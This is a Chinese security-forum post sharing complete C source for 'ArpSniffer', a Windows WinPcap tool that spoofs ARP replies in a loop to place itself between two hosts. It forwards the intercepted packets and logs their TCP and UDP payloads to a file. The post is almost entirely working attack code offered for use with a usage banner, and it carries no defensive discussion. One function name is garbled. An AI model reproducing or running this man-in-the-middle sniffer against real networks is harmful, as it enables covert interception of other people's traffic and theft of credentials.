论坛: 菜鸟乐园 标题: ArpSniffer实现源码 复制本贴地址    
作者: xiaosi2007 [xiaosi2007]    论坛用户   登录
//By x14oh4o

#include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "packet32.h"

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "WS2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")

typedef struct tagAdapterInfo
{
char szDeviceName[128];                // 名字
char szIPAddrStr[16];                    // IP
char szHWAddrStr[18];                  // MAC
DWORD dwIndex;                        // 编号         
bool filled;//是否取得了网卡信息
}INFO_ADAPTER, *PINFO_ADAPTER;



typedef struct _et_header      //以太网头部
{
      unsigned char      eh_dst[6];    //接收方MAC
      unsigned char      eh_src[6];    //发送方MAC
      unsigned short    eh_type;      //arp报文类型 0x0806
}ET_HEADER;

#pragma pack(1)
typedef struct _arp_header      //ARP头部
{
      unsigned short    arp_hdr; //硬件地址类型    以太网 0x0001
      unsigned short    arp_pro; //上层协议地址类型      IP协议 0x0800
      unsigned char      arp_hln; //MAC地址长度 0x06
      unsigned char      arp_pln;    //IP地质长度 0x04
      unsigned short    arp_opt;    //操作码    0x0001 请求 0x0002 应答
      unsigned char      arp_sha[6]; //发送方 MAC
      unsigned long      arp_spa;      //发送方    IP
      unsigned char      arp_tha[6]; //接收方 MAC
      unsigned long      arp_tpa;      //接收方 IP
}ARP_HEADER;
#pragma pack()

typedef struct _iphdr
{
unsigned char h_verlen; //4位IP版本号+4位首部长度
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位+13位分段偏移量
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;

typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+4位保留字
unsigned char th_flag; //余下2位保留字+6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

typedef struct _udphdr //定义UDP首部
{
unsigned short uh_sport; //16位源端口
unsigned short uh_dport; //16位目的端口
unsigned short uh_len; //16位长度
unsigned short uh_sum; //16位校验和
} UDP_HEADER;


typedef struct info   
{
LPADAPTER lpAdapter;
char    szToIP[20];
char    szToMac[6];
char    szFromIP[20];
char    szFromMac[6];
char    szLocalIP[20];
char    szLocalMac[6];
}INFO, *LPINFO;


#define MAX_PACK_LEN 65535 
#define MAX_HOSTNAME_LAN 255
#define MAX_PROTO_TEXT_LEN 16
#define MAX_PROTO_NUM 12
#define MAX_ADDR_LEN 16 
#define TCP_ID    1
#define UDP_ID    2




INFO_ADAPTER infoAdapterList[10];
int _Sport;
int _Dport;
FILE *fp=fopen("ArpSniffer.Log","a+");

int GetLocalAdapterList()
{
char      tempChar;
ULONG      uListSize=1;
PIP_ADAPTER_INFO pAdapter;              // 定义PIP_ADAPTER_INFO结构存储网卡信息
int        nAdapterIndex = 0;

//获得网卡列表信息串长度
DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
printf("\r\nTry to get adapter list...\r\n");
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
    PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]);
    dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
    if (dwRet == ERROR_SUCCESS)
    {
      pAdapter = pAdapterListBuffer;
      // 枚举网卡然后将相关条目添加到List中
      while (pAdapter)     
      {
      // 网卡名字
      char strTemp[128];
      lstrcpy(strTemp, "\\Device\\NPF_");                   
      lstrcat(strTemp,pAdapter->AdapterName);                          // 加上前缀             
      lstrcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
      // IP
      lstrcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String);
      // MAC
      sprintf(infoAdapterList[nAdapterIndex].szHWAddrStr, "%02x%02x%02x%02x%02x%02x",
        pAdapter->Address[0],pAdapter->Address[1],pAdapter->Address[2],
        pAdapter->Address[3],pAdapter->Address[4],pAdapter->Address[5]);
      // 网卡编号
      infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;         
      pAdapter = pAdapter->Next;
      nAdapterIndex ++;
      }
      delete pAdapterListBuffer;
    }
 
    return nAdapterIndex;
}
return 0;
}
void StrToMac(char *str,unsigned char *mac)
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
    str1=str+1;
    switch(*str)
    {
    case 'a' : high=10;break;
    case 'b':    high=11;break;
    case 'c':    high=12;break;
    case 'd':    high=13;break;
    case 'e':    high=14;break;
    case 'f':    high=15;break;
    default: temp=*str;
      high=atoi(&temp);
    }
    switch(*str1)
    {
    case 'a' : low=10;break;
    case 'b':    low=11;break;
    case 'c':    low=12;break;
    case 'd':    low=13;break;
    case 'e':    low=14;break;
    case 'f':    low=15;break;
    default:temp=*str1;
      low=atoi(&temp);
    }
    mac[i]=high*16+low;
    str+=2;
}
}


int GetRemoteMac(unsigned char*remoteMac,char *remoteIP)//获取某IP真实mac地址 并输出
{
//          remoteIP="10.200.203.179";
WSADATA wsdata;
ULONG remoteAddr=0,macAddrlen=6;
unsigned char remoteMacTemp[6]={0};

if(WSAStartup(MAKEWORD(2,1),&wsdata)!=0)
{
    printf("WSAStartup Error!\r\n");
    return 0;
}
remoteAddr=inet_addr(remoteIP);
      if(SendARP(remoteAddr,(unsigned long)NULL,(PULONG)&remoteMacTemp,&macAddrlen)!=NO_ERROR)
{
    printf("Get Remote MAC failed!\r\n");
    return 0;
}
memcpy(remoteMac,remoteMacTemp,6);
printf("Remote IP:%s MAC:",remoteIP);
for (int i=0;i<6;i++)
{
    printf("%.2x-",remoteMacTemp[i]);
}
printf("\r\n");

return 1;


}

typedef struct _protomap //定义子协议映射表
{
int ProtoNum;
char ProtoText[MAX_PROTO_TEXT_LEN];
}PROTOMAP;

PROTOMAP ProtoMap[MAX_PROTO_NUM]={ //为子协议映射表赋值
{ IPPROTO_IP, "IP " },
{ IPPROTO_ICMP, "ICMP" },
{ IPPROTO_IGMP, "IGMP" },
{ IPPROTO_GGP, "GGP " },
{ IPPROTO_TCP, "TCP " },
{ IPPROTO_PUP, "PUP " },
{ IPPROTO_UDP, "UDP " },
{ IPPROTO_IDP, "IDP " },
{ IPPROTO_ND, "NP " },
{ IPPROTO_RAW, "RAW " },
{ IPPROTO_MAX, "MAX " },
{ NULL, "" } };


char * CheckProtocol(int iProtocol)
{
for(int i=0; i<MAX_PROTO_NUM; i++)
    if(ProtoMap[i].ProtoNum==iProtocol)
      return ProtoMap[i].ProtoText;
    return "";
}

void trace(FILE *fp,int id,char *buff,int len)   
{                                                                       
unsigned char *abuf,*hbuf;
int i,g,k;
if(len>0)
{
    fprintf(fp,"==================================data begin===================================\r\n");
    switch(id)
    {
    case TCP_ID:
      hbuf=(unsigned char *)buff;
      abuf=(unsigned char *)buff;
      fprintf(fp,"Displacement -1--2--3--4--5--6--7--8-Hex-0--1--2--3--4--5--6      --ASCII    Value--\n");
      for(i=0, g=len/16; i < g; i++)
      {
   
      fprintf(fp, "M(%6.6d) =< ",i*16);
      for(k=0; k<16; k++) fprintf(fp, "%02x ",*hbuf++);
      fprintf(fp,"> ");
      for(k=0; k<16; k++, abuf++)
        fprintf(fp,
        "%c",(*abuf>32) ? ((*abuf<127 || *abuf>160) ? *abuf : '*') : '.');
      fprintf(fp,"\r\n");
      }
      if((i=len%16) > 0)
      {
      fprintf(fp,"M(%6.6d) =< ",len-len%16);
      for(k=0; k < i; k++) fprintf(fp, "%02x ",*hbuf++);
      for(k=i; k < 16; k++) fprintf(fp, "      ");
      fprintf(fp, "> ");
      for(k=0; k < i; k++, abuf++)
        fprintf(fp, "%c",(*abuf>32) ? ((*abuf<127 || *abuf>160) ? *abuf : '*') : '.');
      fprintf(fp, "\r\n");
      }

      break;
    case UDP_ID:
      for( i=0;i<len;i++)
      {
      if (!(i%8)&&i!=0)
        fprintf(fp,"\r\n");
      if ( (buff[i]>33) && (buff[i]<122) )
        fprintf(fp,"%3c [%3x]", buff[i], buff[i]);
      else
        fprintf(fp,"--- [%3x]", abs(buff[i]));
      }
      if(i%8)
      fprintf(fp,"\r\n");
 
      break;
    default:
      break;
    }
    fprintf(fp,"========================================end=====================================\r\n\r\n");
    fflush(fp);
}
}


void CheckSockError(int iErrorCode, char *pErrorMsg)
{
if(iErrorCode==SOCKET_ERROR)
{
    printf("%s Error:%d\n", pErrorMsg, GetLastError());
    system("pause");
    exit(0);
}

}

int DecodeU**ack(char * UdpBuf,int iBufSize)
{
UDP_HEADER * pUdpHeader;
pUdpHeader = (UDP_HEADER * )UdpBuf;
_Sport=ntohs(pUdpHeader->uh_sport);
_Dport=ntohs(pUdpHeader->uh_dport);


char * UdpData=UdpBuf+8;
trace(fp,UDP_ID,UdpData,iBufSize-8);
return 1;

}

int DecodeTcpPack(char * TcpBuf,int iBufSize)
{
TCP_HEADER * pTcpHeader;
pTcpHeader = (TCP_HEADER * )TcpBuf;

_Sport=ntohs(pTcpHeader->th_sport);
_Dport=ntohs(pTcpHeader->th_dport);

int TcpHeaderLen = sizeof(unsigned long) * (pTcpHeader->th_lenres>>4);
char *TcpData=TcpBuf+TcpHeaderLen;
trace(fp,TCP_ID,TcpData,iBufSize-TcpHeaderLen);
   
return 1;
}


int DecodeIpPack(char *buf, int iBufSize)
{
IP_HEADER *pIpheader;
pIpheader = (IP_HEADER *)buf;

      int iProtocol;
iProtocol = pIpheader->proto;

char szProtocol[MAX_PROTO_TEXT_LEN];
      strncpy(szProtocol,CheckProtocol(iProtocol),MAX_PROTO_TEXT_LEN);
   
char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
SOCKADDR_IN saSource,saDest;
      saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);

saDest.sin_addr.s_addr = pIpheader->destIP;
strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);

int iIphLen = sizeof(unsigned long) * (pIpheader->h_verlen &0xf);

switch(iProtocol)
{
case IPPROTO_TCP :
    fprintf(fp,"%s%25s:%d%20s:%d\r\n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
    DecodeTcpPack(buf+iIphLen,iBufSize-iIphLen);
    break;
case IPPROTO_UDP :
    fprintf(fp,"%s%25s:%d%20s:%d\r\n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
    DecodeU**ack(buf+iIphLen,iBufSize-iIphLen);
    break;
case IPPROTO_ICMP:
    _Sport='\0';
    _Dport='\0';
default :
    break;
}

printf("%s%25s:%d%20s:%d\n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);

return 1;
}


void DecodeARP(LPADAPTER lpAdapter, LPPACKET lpPacket, ET_HEADER *lpEthdr, int nDataLen, LPINFO pInfo)
{
IP_HEADER *lpIphdr = (IP_HEADER *)((unsigned char *)lpEthdr + sizeof(ET_HEADER));
if(memcmp(lpEthdr->eh_dst, pInfo->szLocalMac, 6) != 0) return;

if((inet_addr(pInfo->szLocalIP) != lpIphdr->destIP)&& memcmp((unsigned char *)lpEthdr + 6, pInfo->szFromMac, 6) == 0)
{
        DecodeIpPack((char *)lpIphdr, ntohs(lpIphdr->total_len));


    memcpy((unsigned char *)lpEthdr, pInfo->szToMac, 6);
    memcpy((unsigned char *)lpEthdr+6, pInfo->szLocalMac, 6);
    PacketInitPacket(lpPacket, lpEthdr, nDataLen);
    PacketSetNumWrites(lpAdapter, 2);
    PacketSendPacket(lpAdapter, lpPacket, TRUE);
}
}

DWORD WINAPI Listen(void *param)
{

LPINFO    pInfo = (INFO *)param;
      LPADAPTER    lpAdapter = pInfo->lpAdapter;

LPPACKET    lpPacket = PacketAllocatePacket();   
if(lpPacket == NULL)
    printf("Error: failed to allocate the LPPACKET structure cheat.\r\n");

if(!PacketSetHwFilter(lpAdapter,0x0001))      //设置网卡为直接模式
    printf("Warning: unable to set directed mode!\r\n"); 

if(!PacketSetBuff(lpAdapter,512000))          //设置网卡接收数据包的缓冲区大小
    printf("Unable to set the kernel buffer!\r\n");

if(!PacketSetReadTimeout(lpAdapter,50))      //设置接收超时
    printf("Warning: unable to set the read tiemout!\r\n");

char    buf[256000]={0};
PacketInitPacket(lpPacket, buf, 6000); 
printf("Listening...\r\n");

bpf_hdr    *lpBpfhdr;
ET_HEADER *lpEthdr;
LPPACKET lpSendPacket = PacketAllocatePacket();

while(TRUE)
{
    if(!PacketReceivePacket(lpAdapter, lpPacket, FALSE))
    {
      printf("Error: PacketReceivePacket failed\n");
      break;
    }
          lpBpfhdr = (bpf_hdr *)(lpPacket->Buffer);
    lpEthdr = (ET_HEADER *)((unsigned char *)(lpPacket->Buffer) + lpBpfhdr->bh_hdrlen);

    if(lpEthdr->eh_type == htons(0x0800))//IP报文
    {
      DecodeARP(lpAdapter, lpSendPacket, lpEthdr, lpBpfhdr->bh_datalen, pInfo); 
    }
}

PacketFreePacket(lpPacket);
PacketFreePacket(lpSendPacket);
return 1;
 
}

void usage()
{
printf("Name : X14oh4o\r\n");
printf("QQ      : 82602935\r\n");
printf("Usage: HArpSniffer FromIP ToIP \r\n\r\n");
}


int main(int argc, char* argv[])
{

system("color 0A");

if(argc != 3)
{
    usage();
    system("pause");
    return -1;
}

int iErrorCode;
WSADATA wsaData;
      iErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData);
CheckSockError(iErrorCode, "WSAStartup");


unsigned char FromMac[6] = {0};
unsigned char ToMac[6] = {0};
if(GetRemoteMac(FromMac, argv[1]) == FALSE || GetRemoteMac(ToMac, argv[2]) == FALSE)
{
    return -1;
}

      char      commands[32];
sprintf(commands, "arp -s %s %02x-%02x-%02x-%02x-%02x-%02x", \
    argv[1], FromMac[0], FromMac[1], FromMac[2], FromMac[3], FromMac[4], FromMac[5]);
system(commands);

sprintf(commands, "arp -s %s %02x-%02x-%02x-%02x-%02x-%02x", \
    argv[2], ToMac[0], ToMac[1], ToMac[2], ToMac[3], ToMac[4], ToMac[5]);
system(commands);

int adaptercount=0;
      adaptercount = GetLocalAdapterList();
for(int i = 0; i< adaptercount; i++)
    printf("%d: %s: %s\n\n",i,infoAdapterList[i].szIPAddrStr,infoAdapterList[i].szDeviceName);

printf("选择一块网卡:");

int index=0;
while(TRUE)
{
          scanf("%d",&index);
    if(index <=adaptercount)
      break;
    else
      printf("请重新输入:");
}

unsigned char LocalMac[6]={0};
memcpy(LocalMac, infoAdapterList[index].szHWAddrStr, 6);

LPADAPTER lpAdapter;
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)infoAdapterList[index].szDeviceName);
if(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
    printf("acketOepnAdapter Error:%d\r\n",GetLastError());
    return -1;
}

ET_HEADER    et_header;
ARP_HEADER    arp_header;
memcpy(et_header.eh_src, LocalMac, 6);
memcpy(et_header.eh_dst, FromMac,    6);

et_header.eh_type=htons(0x0806);    //类型为0x0806表示这是ARP包
arp_header.arp_hdr=htons(0x0001);    //硬件地址类型以太网地址
arp_header.arp_pro=htons(0x0800);    //协议地址类型为IP协议
arp_header.arp_hln=0x06;              //硬件地址长度为6
arp_header.arp_pln=0x04;              //协议地址长度为4
arp_header.arp_opt=htons(0x0002);    //标识为ARP应答

arp_header.arp_spa=inet_addr(argv[2]);    //source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(argv[1]);    //target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);

char      buffer[512]={0};
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

      INFO      ArpSnifferInfo={0};
ArpSnifferInfo.lpAdapter = lpAdapter;
memcpy(ArpSnifferInfo.szFromIP,argv[1],strlen(argv[1]));
memcpy(ArpSnifferInfo.szFromMac, FromMac, 6);
memcpy(ArpSnifferInfo.szToIP,argv[2],strlen(argv[2]));
memcpy(ArpSnifferInfo.szToMac, ToMac, 6);
memcpy(ArpSnifferInfo.szLocalIP, infoAdapterList[index].szIPAddrStr,strlen(infoAdapterList[index].szIPAddrStr));
memcpy(ArpSnifferInfo.szLocalMac, infoAdapterList[index].szHWAddrStr, 6);

CreateThread(NULL,0,Listen,&ArpSnifferInfo,0,NULL);


      LPPACKET lpPacket;
lpPacket=PacketAllocatePacket(); //分配内存

PacketInitPacket(lpPacket,buffer,64);//初始化

if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数
{
    printf("PacketSetNumWrites error \r\n");
    return 0;
 
}
while(TRUE)
{
 
    if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //发送包
    {
      printf("发送失败!\r\n");
      break;
    }
    Sleep(100);
}

PacketFreePacket(lpPacket);//释放内存
PacketCloseAdapter(lpAdapter);    //关闭网卡
WSACleanup();

return 1;


}



地主 发表时间: 10-07-16 17:54

回复: xiaosi2007 [xiaosi2007]   论坛用户   登录
????????????????????

B1层 发表时间: 10-07-26 17:08

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号